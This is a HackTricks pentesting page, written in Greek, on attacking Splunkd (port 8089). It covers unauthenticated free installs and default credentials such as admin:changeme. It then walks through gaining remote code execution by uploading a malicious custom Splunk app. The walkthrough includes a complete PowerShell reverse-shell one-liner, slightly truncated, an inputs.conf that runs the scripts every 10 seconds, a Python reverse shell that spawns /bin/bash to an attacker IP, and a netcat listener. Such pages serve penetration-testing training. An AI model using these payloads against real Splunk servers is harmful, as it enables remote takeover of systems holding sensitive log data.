12 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Το Splunk είναι ένα εργαλείο ανάλυσης καταγραφών που παίζει κρίσιμο ρόλο στη συλλογή, ανάλυση και οπτικοποίηση δεδομένων. Ενώ ο αρχικός του σκοπός δεν ήταν να λειτουργεί ως εργαλείο SIEM (Διαχείριση Πληροφοριών και Συμβάντων Ασφαλείας), έχει αποκτήσει δημοτικότητα στον τομέα της παρακολούθησης ασφάλειας και της επιχειρηματικής ανάλυσης.
Οι αναπτύξεις του Splunk χρησιμοποιούνται συχνά για την αποθήκευση ευαίσθητων δεδομένων και μπορούν να χρησιμεύσουν ως πολύτιμη πηγή πληροφοριών για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. Προεπιλεγμένη θύρα: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Ο διακομιστής ιστού Splunk εκτελείται από προεπιλογή στη θύρα 8000. {% endhint %}
Enumeration
Free Version
Η δοκιμή του Splunk Enterprise μετατρέπεται σε δωρεάν έκδοση μετά από 60 ημέρες, η οποία δεν απαιτεί αυθεντικοποίηση. Δεν είναι ασυνήθιστο για τους διαχειριστές συστημάτων να εγκαθιστούν μια δοκιμή του Splunk για να το δοκιμάσουν, η οποία στη συνέχεια ξεχνιέται. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή αυθεντικοποίησης, εισάγοντας μια τρύπα ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμών προϋπολογισμού, χωρίς να κατανοούν πλήρως τις συνέπειες της έλλειψης διαχείρισης χρηστών/ρόλων.
Default Credentials
Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι admin:changeme
, τα οποία εμφανίζονται βολικά στη σελίδα σύνδεσης.
Ωστόσο, η τελευταία έκδοση του Splunk ορίζει διαπιστευτήρια κατά τη διαδικασία εγκατάστασης. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινές αδύναμες κωδικούς πρόσβασης όπως admin
, Welcome
, Welcome1
, Password123
, κ.λπ.
Obtain Information
Αφού συνδεθούμε στο Splunk, μπορούμε να περιηγηθούμε σε δεδομένα, να εκτελέσουμε αναφορές, να δημιουργήσουμε πίνακες ελέγχου, να εγκαταστήσουμε εφαρμογές από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές.
Μπορείτε επίσης να εκτελέσετε κώδικα: Το Splunk έχει πολλούς τρόπους εκτέλεσης κώδικα, όπως εφαρμογές Django server-side, REST endpoints, scripted inputs και alerting scripts. Μια κοινή μέθοδος για την απόκτηση απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός scripted input.
Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε Windows ή Linux hosts, μπορούν να δημιουργηθούν scripted inputs για να εκτελούν Bash, PowerShell ή Batch scripts.
Shodan
Splunk build
RCE
Create Custom Application
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί Python, Batch, Bash ή PowerShell scripts.
Σημειώστε ότι το Splunk έρχεται με εγκατεστημένο Python, οπότε ακόμη και σε συστήματα Windows θα μπορείτε να εκτελείτε κώδικα python.
Μπορείτε να χρησιμοποιήσετε αυτό το πακέτο Splunk για να μας βοηθήσει. Ο φάκελος bin
σε αυτό το repo έχει παραδείγματα για Python και PowerShell. Ας προχωρήσουμε βήμα-βήμα.
Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την παρακάτω δομή φακέλων:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Ο bin
φάκελος θα περιέχει οποιαδήποτε σενάρια που σκοπεύουμε να εκτελέσουμε (σε αυτή την περίπτωση, ένα PowerShell reverse shell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο inputs.conf
μας. Το reverse shell μας θα είναι ένα PowerShell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Το αρχείο inputs.conf λέει στο Splunk ποιο σενάριο να εκτελέσει και οποιεσδήποτε άλλες συνθήκες. Εδώ ρυθμίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το σενάριο κάθε 10 δευτερόλεπτα. Η διάρκεια είναι πάντα σε δευτερόλεπτα, και η είσοδος (σενάριο) θα εκτελείται μόνο αν αυτή η ρύθμιση είναι παρούσα.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Χρειαζόμαστε το .bat
αρχείο, το οποίο θα εκτελείται όταν αναπτυχθεί η εφαρμογή και θα εκτελεί την PowerShell one-liner.
Το επόμενο βήμα είναι να επιλέξουμε Install app from file
και να ανεβάσουμε την εφαρμογή.
Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν listener χρησιμοποιώντας το Netcat ή το socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Στη σελίδα Upload app
, κάντε κλικ στο browse, επιλέξτε το tarball που δημιουργήσαμε νωρίτερα και κάντε κλικ στο Upload
. Μόλις ανεβάσουμε την εφαρμογή, θα λάβουμε ένα reverse shell καθώς η κατάσταση της εφαρμογής θα αλλάξει αυτόματα σε Enabled
.
Linux
Αν ασχολούμασταν με έναν Linux host, θα έπρεπε να επεξεργαστούμε το σενάριο Python rev.py
πριν δημιουργήσουμε το tarball και ανεβάσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Η υπόλοιπη διαδικασία θα ήταν η ίδια, και θα αποκτούσαμε μια σύνδεση reverse shell στον ακροατή Netcat μας και θα ξεκινούσαμε.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.